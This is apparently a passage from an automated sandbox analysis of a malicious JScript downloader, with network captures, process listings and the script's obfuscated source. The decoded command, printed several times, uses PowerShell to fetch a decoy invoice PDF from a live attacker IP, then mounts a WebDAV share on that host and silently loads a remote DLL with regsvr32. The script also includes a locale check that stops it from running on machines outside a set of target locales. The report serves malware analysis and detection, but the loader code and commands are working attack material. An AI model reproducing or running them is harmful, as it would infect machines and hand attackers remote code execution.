Jan 11, 2025 08:21:26.390994072 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 11, 2025 08:21:26.391011000 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 11, 2025 08:21:26.391134977 CET	1236	IN	Data Raw: 00 4c 83 2f 96 00 60 d3 cc 1d b5 66 2c 34 ec 3b 52 42 c3 f3 fe 84 3f 4d 32 dc 69 69 86 f2 f4 b1 7a 52 2b 72 a3 5b b9 06 94 26 07 65 14 ce 94 d0 d4 40 53 fd fc e6 9b 6f fe 47 f9 a6 95 aa e8 ec 97 cd 7e 71 1a 11 fd e9 a7 9f 52 1e 4a 2d 26 d7 43 25 Data Ascii: L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o
Jan 11, 2025 08:21:26.395622015 CET	100	IN	Data Raw: c7 86 7e e4 d8 d0 4d 9b fa e6 04 00 00 30 0d be 58 02 80 8d 32 b7 d3 d1 1d b9 7a 2c 74 74 15 ad 39 5c d2 1c f3 57 ce 16 b9 e1 50 dd 43 c3 18 5a 73 6d 7e 32 34 8c a1 ff 35 24 3d 74 f6 cb 64 38 34 ad 0f 9d fd a1 52 1e d2 7f 9c 54 21 53 21 d2 f4 51 Data Ascii: ~M0X2z,tt9\WPCZsm~245$=td84RT!S!Q]avNQ0}v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49743	193.143.1.205	8888	5256	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:21:28.428451061 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 08:21:29.270440102 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:21:29 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	02:21:22
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\262192623320272411.js"
Imagebase:	0x7ff697b80000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:21:23
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4424223369068.dll
Imagebase:	0x7ff651eb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:21:23
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:21:23
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:21:27
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	02:21:27
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff651eb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:21:27
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff79cd70000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:21:28
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	02:21:28
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	02:21:28
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1552,i,8595018462666646001,11327544726645323743,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function tluxg() {	tluxg() ➔ undefined
1	mpfhgpb = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var hcizdra = this[aowejljex + fvckk + fujqedmm + ypjkj + ecpjhfxmz + ryfzkz + gadisufp + dgocdil] ( this[vkpbvsd + wehkjt + wsswdiyn + fujqedmm + pmauldkms + aowejljex + dgocdil][baltegnp + fujqedmm + ecpjhfxmz + fvckk + dgocdil + ecpjhfxmz + tzuolfdi + nzmkloykz + wsfcy + ecpjhfxmz + wsswdiyn + dgocdil] ( vkpbvsd + wehkjt + wsswdiyn + fujqedmm + pmauldkms + aowejljex + dgocdil + gafoxtlo + wehkjt + wmujeh + ecpjhfxmz + jyonpnd + jyonpnd ) [qkogvmzeq + ecpjhfxmz + ltfvrnh + qkogvmzeq + ecpjhfxmz + fvckk + ixdge] ( swbstwzm + vhmhsbkel + cobeps + iwfvuezl + aekzgb + baltegnp + fgprk + qkogvmzeq + qkogvmzeq + cobeps + qxgiksmwb + ynotg + aekzgb + fgprk + wehkjt + cobeps + qkogvmzeq + lbmkeskj + baltegnp + fzwsqii + gadisufp + dgocdil + fujqedmm + fzwsqii + jyonpnd + wmelx + kecykq + fvckk + gadisufp + ecpjhfxmz + jyonpnd + lbmkeskj + ryfzkz + gadisufp + dgocdil + ecpjhfxmz + fujqedmm + gadisufp + fvckk + dgocdil + pmauldkms + fzwsqii + gadisufp + fvckk + jyonpnd + lbmkeskj + nbqvxwzx + fzwsqii + wsswdiyn + fvckk + jyonpnd + ecpjhfxmz ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( qgqym = 0 ; qgqym < mpfhgpb[jyonpnd + ecpjhfxmz + gadisufp + ltfvrnh + dgocdil + wmujeh] ; ++ qgqym )
4	{
5	if ( hcizdra == mpfhgpb[qgqym] )
6	{
7	hcizdra = true;
8	break ;
9	}
10	}
11	if ( hcizdra !== true )
12	this[vkpbvsd + wehkjt + wsswdiyn + fujqedmm + pmauldkms + aowejljex + dgocdil][xjfbmype + yfngbjppc + pmauldkms + dgocdil] ( );
13	this[vkpbvsd + wehkjt + wsswdiyn + fujqedmm + pmauldkms + aowejljex + dgocdil][baltegnp + fujqedmm + ecpjhfxmz + fvckk + dgocdil + ecpjhfxmz + tzuolfdi + nzmkloykz + wsfcy + ecpjhfxmz + wsswdiyn + dgocdil] ( vkpbvsd + wehkjt + wsswdiyn + fujqedmm + pmauldkms + aowejljex + dgocdil + gafoxtlo + wehkjt + wmujeh + ecpjhfxmz + jyonpnd + jyonpnd ) [fujqedmm + yfngbjppc + gadisufp] ( wsswdiyn + hqizmrvnt + ixdge + wmelx + xksjrhkj + wsswdiyn + wmelx + aowejljex + fzwsqii + pzvcy + ecpjhfxmz + fujqedmm + ypjkj + wmujeh + ecpjhfxmz + jyonpnd + jyonpnd + gafoxtlo + ecpjhfxmz + ogxsvi + ecpjhfxmz + wmelx + wtpysxz + baltegnp + fzwsqii + hqizmrvnt + hqizmrvnt + fvckk + gadisufp + ixdge + wmelx + tdnntnfr + ryfzkz + gadisufp + xfboynyvg + fzwsqii + zadidc + ecpjhfxmz + wtpysxz + vkpbvsd + ecpjhfxmz + nzmkloykz + qkogvmzeq + ecpjhfxmz + xzqpvr + yfngbjppc + ecpjhfxmz + ypjkj + dgocdil + wmelx + wtpysxz + tzuolfdi + yfngbjppc + dgocdil + uvouhm + pmauldkms + jyonpnd + ecpjhfxmz + wmelx + seztvmu + dgocdil + ecpjhfxmz + hqizmrvnt + aowejljex + seztvmu + lbmkeskj + pmauldkms + gadisufp + xfboynyvg + fzwsqii + pmauldkms + wsswdiyn + ecpjhfxmz + gafoxtlo + aowejljex + ixdge + yziugkrom + wmelx + wmujeh + dgocdil + dgocdil + aowejljex + crrkw + xksjrhkj + xksjrhkj + xtelaffu + aqysng + tcdhhhky + gafoxtlo + xtelaffu + elurvec + tcdhhhky + gafoxtlo + xtelaffu + gafoxtlo + kysdogvq + skuqcxkxu + mbvpyfa + xksjrhkj + pmauldkms + gadisufp + xfboynyvg + fzwsqii + pmauldkms + wsswdiyn + ecpjhfxmz + gafoxtlo + aowejljex + wmujeh + aowejljex + tdnntnfr + hlbotuk + hlbotuk + ypjkj + dgocdil + fvckk + fujqedmm + dgocdil + wmelx + seztvmu + dgocdil + ecpjhfxmz + hqizmrvnt + aowejljex + seztvmu + lbmkeskj + pmauldkms + gadisufp + xfboynyvg + fzwsqii + pmauldkms + wsswdiyn + ecpjhfxmz + gafoxtlo + aowejljex + ixdge + yziugkrom + hlbotuk + hlbotuk + wsswdiyn + hqizmrvnt + ixdge + wmelx + xksjrhkj + wsswdiyn + wmelx + gadisufp + ecpjhfxmz + dgocdil + wmelx + yfngbjppc + ypjkj + ecpjhfxmz + wmelx + lbmkeskj + lbmkeskj + xtelaffu + aqysng + tcdhhhky + gafoxtlo + xtelaffu + elurvec + tcdhhhky + gafoxtlo + xtelaffu + gafoxtlo + kysdogvq + skuqcxkxu + mbvpyfa + wtbvbtvj + bofojft + bofojft + bofojft + bofojft + lbmkeskj + ixdge + fvckk + xfboynyvg + pzvcy + pzvcy + pzvcy + fujqedmm + fzwsqii + fzwsqii + dgocdil + lbmkeskj + hlbotuk + hlbotuk + wsswdiyn + hqizmrvnt + ixdge + wmelx + xksjrhkj + wsswdiyn + wmelx + fujqedmm + ecpjhfxmz + ltfvrnh + ypjkj + xfboynyvg + fujqedmm + tcdhhhky + kysdogvq + wmelx + xksjrhkj + ypjkj + wmelx + lbmkeskj + lbmkeskj + xtelaffu + aqysng + tcdhhhky + gafoxtlo + xtelaffu + elurvec + tcdhhhky + gafoxtlo + xtelaffu + gafoxtlo + kysdogvq + skuqcxkxu + mbvpyfa + wtbvbtvj + bofojft + bofojft + bofojft + bofojft + lbmkeskj + ixdge + fvckk + xfboynyvg + pzvcy + pzvcy + pzvcy + fujqedmm + fzwsqii + fzwsqii + dgocdil + lbmkeskj + elurvec + elurvec + kysdogvq + elurvec + kysdogvq + kysdogvq + tcdhhhky + tcdhhhky + zczmx + aqysng + skuqcxkxu + zczmx + bofojft + gafoxtlo + ixdge + jyonpnd + jyonpnd, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4424223369068.dll",0,false) ➔ 0
14	}
15	gafoxtlo = ".";
16	xzqpvr = "v";
17	xzqpvr = "L";
18	xzqpvr = "B";
19	xzqpvr = "L";
20	xzqpvr = "G";
21	xzqpvr = "O";
22	xzqpvr = "V";
23	xzqpvr = "M";
24	xzqpvr = "b";
25	xzqpvr = "u";
26	xzqpvr = "h";
27	xzqpvr = "F";
28	xzqpvr = "b";
29	xzqpvr = "q";
30	gadisufp = "J";
31	gadisufp = "g";
32	gadisufp = "F";
33	gadisufp = "r";
34	gadisufp = "Y";
35	gadisufp = "q";
36	gadisufp = "o";
37	gadisufp = "F";
38	gadisufp = "M";
39	gadisufp = "P";
40	gadisufp = "w";
41	gadisufp = "J";
42	gadisufp = "K";
43	gadisufp = "E";
44	gadisufp = "w";
45	gadisufp = "p";
46	gadisufp = "j";
47	gadisufp = "Z";
48	gadisufp = "Z";
49	gadisufp = "t";
50	gadisufp = "q";
51	gadisufp = "e";
52	gadisufp = "n";
53	gadisufp = "n";
54	ixdge = "v";
55	ixdge = "W";
56	ixdge = "w";
57	ixdge = "q";
58	ixdge = "e";
59	ixdge = "v";
60	ixdge = "W";
61	ixdge = "X";
62	ixdge = "Z";
63	ixdge = "o";
64	ixdge = "p";
65	ixdge = "C";
66	ixdge = "o";
67	ixdge = "h";
68	ixdge = "m";
69	ixdge = "O";
70	ixdge = "Q";
71	ixdge = "w";
72	ixdge = "M";
73	ixdge = "R";
74	ixdge = "v";
75	ixdge = "z";
76	ixdge = "d";
77	xtelaffu = "O";
78	xtelaffu = "Y";
79	xtelaffu = "o";
80	xtelaffu = "z";
81	xtelaffu = "x";
82	xtelaffu = "c";
83	xtelaffu = "t";
84	xtelaffu = "N";
85	xtelaffu = "N";
86	xtelaffu = "M";
87	xtelaffu = "l";
88	xtelaffu = "r";
89	xtelaffu = "g";
90	xtelaffu = "C";
91	xtelaffu = "F";
92	xtelaffu = "Z";
93	xtelaffu = "h";
94	xtelaffu = "b";
95	xtelaffu = "s";
96	xtelaffu = "C";
97	xtelaffu = "1";
98	wmujeh = "R";
99	wmujeh = "D";
100	wmujeh = "Z";
101	wmujeh = "C";
102	wmujeh = "G";
103	wmujeh = "q";
104	wmujeh = "z";
105	wmujeh = "G";
106	wmujeh = "U";
107	wmujeh = "M";
108	wmujeh = "c";
109	wmujeh = "e";
110	wmujeh = "b";
111	wmujeh = "Z";
112	wmujeh = "R";
113	wmujeh = "z";
114	wmujeh = "f";
115	wmujeh = "A";
116	wmujeh = "U";
117	wmujeh = "h";
118	elurvec = "k";
119	elurvec = "G";
120	elurvec = "W";
121	elurvec = "f";
122	elurvec = "F";
123	elurvec = "a";
124	elurvec = "D";
125	elurvec = "u";
126	elurvec = "c";
127	elurvec = "4";
128	aowejljex = "a";
129	aowejljex = "X";
130	aowejljex = "W";
131	aowejljex = "z";
132	aowejljex = "A";
133	aowejljex = "E";
134	aowejljex = "F";
135	aowejljex = "m";
136	aowejljex = "F";
137	aowejljex = "M";
138	aowejljex = "D";
139	aowejljex = "F";
140	aowejljex = "T";
141	aowejljex = "a";
142	aowejljex = "N";
143	aowejljex = "d";
144	aowejljex = "r";
145	aowejljex = "p";
146	ecpjhfxmz = "X";
147	ecpjhfxmz = "n";
148	ecpjhfxmz = "U";
149	ecpjhfxmz = "X";
150	ecpjhfxmz = "y";
151	ecpjhfxmz = "i";
152	ecpjhfxmz = "W";
153	ecpjhfxmz = "X";
154	ecpjhfxmz = "v";
155	ecpjhfxmz = "x";
156	ecpjhfxmz = "T";
157	ecpjhfxmz = "a";
158	ecpjhfxmz = "e";
159	yfngbjppc = "B";
160	yfngbjppc = "p";
161	yfngbjppc = "C";
162	yfngbjppc = "k";
163	yfngbjppc = "S";
164	yfngbjppc = "o";
165	yfngbjppc = "l";
166	yfngbjppc = "I";
167	yfngbjppc = "z";
168	yfngbjppc = "a";
169	yfngbjppc = "E";
170	yfngbjppc = "t";
171	yfngbjppc = "b";
172	yfngbjppc = "w";
173	yfngbjppc = "b";
174	yfngbjppc = "Y";
175	yfngbjppc = "K";
176	yfngbjppc = "E";
177	yfngbjppc = "e";
178	yfngbjppc = "U";
179	yfngbjppc = "n";
180	yfngbjppc = "i";
181	yfngbjppc = "h";
182	yfngbjppc = "J";
183	yfngbjppc = "D";
184	yfngbjppc = "k";
185	yfngbjppc = "r";
186	yfngbjppc = "N";
187	yfngbjppc = "e";
188	yfngbjppc = "e";
189	yfngbjppc = "W";
190	yfngbjppc = "q";
191	yfngbjppc = "N";
192	yfngbjppc = "o";
193	yfngbjppc = "m";
194	yfngbjppc = "k";
195	yfngbjppc = "r";
196	yfngbjppc = "U";
197	yfngbjppc = "g";
198	yfngbjppc = "W";
199	yfngbjppc = "u";
200	crrkw = "Q";
201	crrkw = "s";
202	crrkw = "T";
203	crrkw = "Z";
204	crrkw = "X";
205	crrkw = "Q";
206	crrkw = "m";
207	crrkw = "m";
208	crrkw = "z";
209	crrkw = "Z";
210	crrkw = "t";
211	crrkw = "Y";
212	crrkw = "q";
213	crrkw = "P";
214	crrkw = "x";
215	crrkw = "y";
216	crrkw = "A";
217	crrkw = "H";
218	crrkw = "p";
219	crrkw = "M";
220	crrkw = "H";
221	crrkw = "r";
222	crrkw = "u";
223	crrkw = "w";
224	crrkw = "e";
225	crrkw = "b";
226	crrkw = ":";
227	fvckk = "r";
228	fvckk = "A";
229	fvckk = "f";
230	fvckk = "p";
231	fvckk = "N";
232	fvckk = "S";
233	fvckk = "B";
234	fvckk = "F";
235	fvckk = "z";
236	fvckk = "E";
237	fvckk = "p";
238	fvckk = "C";
239	fvckk = "e";
240	fvckk = "E";
241	fvckk = "x";
242	fvckk = "q";
243	fvckk = "i";
244	fvckk = "u";
245	fvckk = "X";
246	fvckk = "N";
247	fvckk = "W";
248	fvckk = "k";
249	fvckk = "u";
250	fvckk = "X";
251	fvckk = "H";
252	fvckk = "M";
253	fvckk = "l";
254	fvckk = "a";
255	yziugkrom = "k";
256	yziugkrom = "j";
257	yziugkrom = "j";
258	yziugkrom = "T";
259	yziugkrom = "f";
260	seztvmu = "f";
261	seztvmu = "O";
262	seztvmu = "E";
263	seztvmu = "C";
264	seztvmu = "B";
265	seztvmu = "l";
266	seztvmu = "u";
267	seztvmu = "b";
268	seztvmu = "I";
269	seztvmu = "T";
270	seztvmu = "T";
271	seztvmu = "a";
272	seztvmu = "t";
273	seztvmu = "i";
274	seztvmu = "I";
275	seztvmu = "a";
276	seztvmu = "U";
277	seztvmu = "Q";
278	seztvmu = "h";
279	seztvmu = "F";
280	seztvmu = "F";
281	seztvmu = "S";
282	seztvmu = "H";
283	seztvmu = "G";
284	seztvmu = "m";
285	seztvmu = "a";
286	seztvmu = "w";
287	seztvmu = "X";
288	seztvmu = "c";
289	seztvmu = "t";
290	seztvmu = "K";
291	seztvmu = "E";
292	seztvmu = "y";
293	seztvmu = "B";
294	seztvmu = "X";
295	seztvmu = "p";
296	seztvmu = "W";
297	seztvmu = "k";
298	seztvmu = "N";
299	seztvmu = "d";
300	seztvmu = "o";
301	seztvmu = "q";
302	seztvmu = "j";
303	seztvmu = "%";
304	nzmkloykz = "x";
305	nzmkloykz = "Q";
306	nzmkloykz = "Z";
307	nzmkloykz = "X";
308	nzmkloykz = "T";
309	nzmkloykz = "H";
310	nzmkloykz = "a";
311	nzmkloykz = "C";
312	nzmkloykz = "b";
313	nzmkloykz = "E";
314	nzmkloykz = "b";
315	nzmkloykz = "R";
316	nzmkloykz = "n";
317	nzmkloykz = "i";
318	nzmkloykz = "W";
319	nzmkloykz = "r";
320	nzmkloykz = "q";
321	nzmkloykz = "y";
322	nzmkloykz = "d";
323	nzmkloykz = "b";
324	hlbotuk = "m";
325	hlbotuk = "G";
326	hlbotuk = "H";
327	hlbotuk = "m";
328	hlbotuk = "P";
329	hlbotuk = "l";
330	hlbotuk = "c";
331	hlbotuk = "U";
332	hlbotuk = "a";
333	hlbotuk = "V";
334	hlbotuk = "s";
335	hlbotuk = "R";
336	hlbotuk = "w";
337	hlbotuk = "Z";
338	hlbotuk = "m";
339	hlbotuk = "Z";
340	hlbotuk = "U";
341	hlbotuk = "B";
342	hlbotuk = "P";
343	hlbotuk = "E";
344	hlbotuk = "X";
345	hlbotuk = "Q";
346	hlbotuk = "G";
347	hlbotuk = "V";
348	hlbotuk = "w";
349	hlbotuk = "A";
350	hlbotuk = "b";
351	hlbotuk = "Z";
352	hlbotuk = "o";
353	hlbotuk = "M";
354	hlbotuk = "z";
355	hlbotuk = "h";
356	hlbotuk = "L";
357	hlbotuk = "Q";
358	hlbotuk = "B";
359	hlbotuk = "I";
360	hlbotuk = "k";
361	hlbotuk = "I";
362	hlbotuk = "p";
363	hlbotuk = "F";
364	hlbotuk = "&";
365	wehkjt = "N";
366	wehkjt = "r";
367	wehkjt = "s";
368	wehkjt = "S";
369	iwfvuezl = "K";
370	iwfvuezl = "s";
371	iwfvuezl = "Y";
372	tzuolfdi = "r";
373	tzuolfdi = "F";
374	tzuolfdi = "u";
375	tzuolfdi = "O";
376	tzuolfdi = "x";
377	tzuolfdi = "O";
378	tzuolfdi = "x";
379	tzuolfdi = "j";
380	tzuolfdi = "M";
381	tzuolfdi = "r";
382	tzuolfdi = "O";
383	vkpbvsd = "m";
384	vkpbvsd = "c";
385	vkpbvsd = "M";
386	vkpbvsd = "z";
387	vkpbvsd = "t";
388	vkpbvsd = "g";
389	vkpbvsd = "W";
390	hqizmrvnt = "K";
391	hqizmrvnt = "y";
392	hqizmrvnt = "C";
393	hqizmrvnt = "t";
394	hqizmrvnt = "m";
395	hqizmrvnt = "x";
396	hqizmrvnt = "Q";
397	hqizmrvnt = "h";
398	hqizmrvnt = "D";
399	hqizmrvnt = "I";
400	hqizmrvnt = "A";
401	hqizmrvnt = "P";
402	hqizmrvnt = "I";
403	hqizmrvnt = "P";
404	hqizmrvnt = "A";
405	hqizmrvnt = "x";
406	hqizmrvnt = "Z";
407	hqizmrvnt = "x";
408	hqizmrvnt = "E";
409	hqizmrvnt = "S";
410	hqizmrvnt = "j";
411	hqizmrvnt = "Q";
412	hqizmrvnt = "B";
413	hqizmrvnt = "j";
414	hqizmrvnt = "N";
415	hqizmrvnt = "c";
416	hqizmrvnt = "f";
417	hqizmrvnt = "q";
418	hqizmrvnt = "V";
419	hqizmrvnt = "N";
420	hqizmrvnt = "m";
421	fujqedmm = "a";
422	fujqedmm = "r";
423	aekzgb = "b";
424	aekzgb = "K";
425	aekzgb = "D";
426	aekzgb = "X";
427	aekzgb = "g";
428	aekzgb = "x";
429	aekzgb = "F";
430	aekzgb = "W";
431	aekzgb = "S";
432	aekzgb = "K";
433	aekzgb = "_";
434	fzwsqii = "o";
435	wmelx = "o";
436	wmelx = "a";
437	wmelx = "B";
438	wmelx = "w";
439	wmelx = "r";
440	wmelx = "L";
441	wmelx = "n";
442	wmelx = "J";
443	wmelx = "N";
444	wmelx = "j";
445	wmelx = "L";
446	wmelx = "m";
447	wmelx = "L";
448	wmelx = "w";
449	wmelx = "J";
450	wmelx = "M";
451	wmelx = "Y";
452	wmelx = "Q";
453	wmelx = "W";
454	wmelx = "y";
455	wmelx = "s";
456	wmelx = "i";
457	wmelx = "j";
458	wmelx = "w";
459	wmelx = "D";
460	wmelx = "I";
461	wmelx = "q";
462	wmelx = "B";
463	wmelx = "A";
464	wmelx = "M";
465	wmelx = "e";
466	wmelx = "Q";
467	wmelx = "x";
468	wmelx = "K";
469	wmelx = "d";
470	wmelx = "h";
471	wmelx = " ";
472	ogxsvi = "A";
473	ogxsvi = "K";
474	ogxsvi = "o";
475	ogxsvi = "c";
476	ogxsvi = "h";
477	ogxsvi = "Q";
478	ogxsvi = "J";
479	ogxsvi = "P";
480	ogxsvi = "S";
481	ogxsvi = "D";
482	ogxsvi = "C";
483	ogxsvi = "f";
484	ogxsvi = "x";
485	ogxsvi = "z";
486	ogxsvi = "g";
487	ogxsvi = "T";
488	ogxsvi = "G";
489	ogxsvi = "B";
490	ogxsvi = "w";
491	ogxsvi = "k";
492	ogxsvi = "r";
493	ogxsvi = "b";
494	ogxsvi = "F";
495	ogxsvi = "D";
496	ogxsvi = "r";
497	ogxsvi = "R";
498	ogxsvi = "m";
499	ogxsvi = "b";
500	ogxsvi = "H";
501	ogxsvi = "y";
502	ogxsvi = "V";
503	ogxsvi = "x";
504	wtbvbtvj = "S";
505	wtbvbtvj = "U";
506	wtbvbtvj = "G";
507	wtbvbtvj = "@";
508	wsfcy = "i";
509	wsfcy = "Q";
510	wsfcy = "r";
511	wsfcy = "a";
512	wsfcy = "v";
513	wsfcy = "j";
514	jyonpnd = "a";
515	jyonpnd = "u";
516	jyonpnd = "M";
517	jyonpnd = "D";
518	jyonpnd = "c";
519	jyonpnd = "l";
520	tdnntnfr = "F";
521	tdnntnfr = "K";
522	tdnntnfr = "b";
523	tdnntnfr = "T";
524	tdnntnfr = "T";
525	tdnntnfr = "p";
526	tdnntnfr = "U";
527	tdnntnfr = "r";
528	tdnntnfr = "p";
529	tdnntnfr = "J";
530	tdnntnfr = "s";
531	tdnntnfr = "R";
532	tdnntnfr = "m";
533	tdnntnfr = "Z";
534	tdnntnfr = "H";
535	tdnntnfr = "L";
536	tdnntnfr = "W";
537	tdnntnfr = "Z";
538	tdnntnfr = "u";
539	tdnntnfr = "r";
540	tdnntnfr = "i";
541	tdnntnfr = "k";
542	tdnntnfr = "G";
543	tdnntnfr = "W";
544	tdnntnfr = "k";
545	tdnntnfr = "b";
546	tdnntnfr = "f";
547	tdnntnfr = "l";
548	tdnntnfr = "r";
549	tdnntnfr = "m";
550	tdnntnfr = "u";
551	tdnntnfr = "h";
552	tdnntnfr = "y";
553	tdnntnfr = "w";
554	tdnntnfr = "T";
555	tdnntnfr = "Q";
556	tdnntnfr = "j";
557	tdnntnfr = "a";
558	tdnntnfr = "u";
559	tdnntnfr = "m";
560	tdnntnfr = "\"";
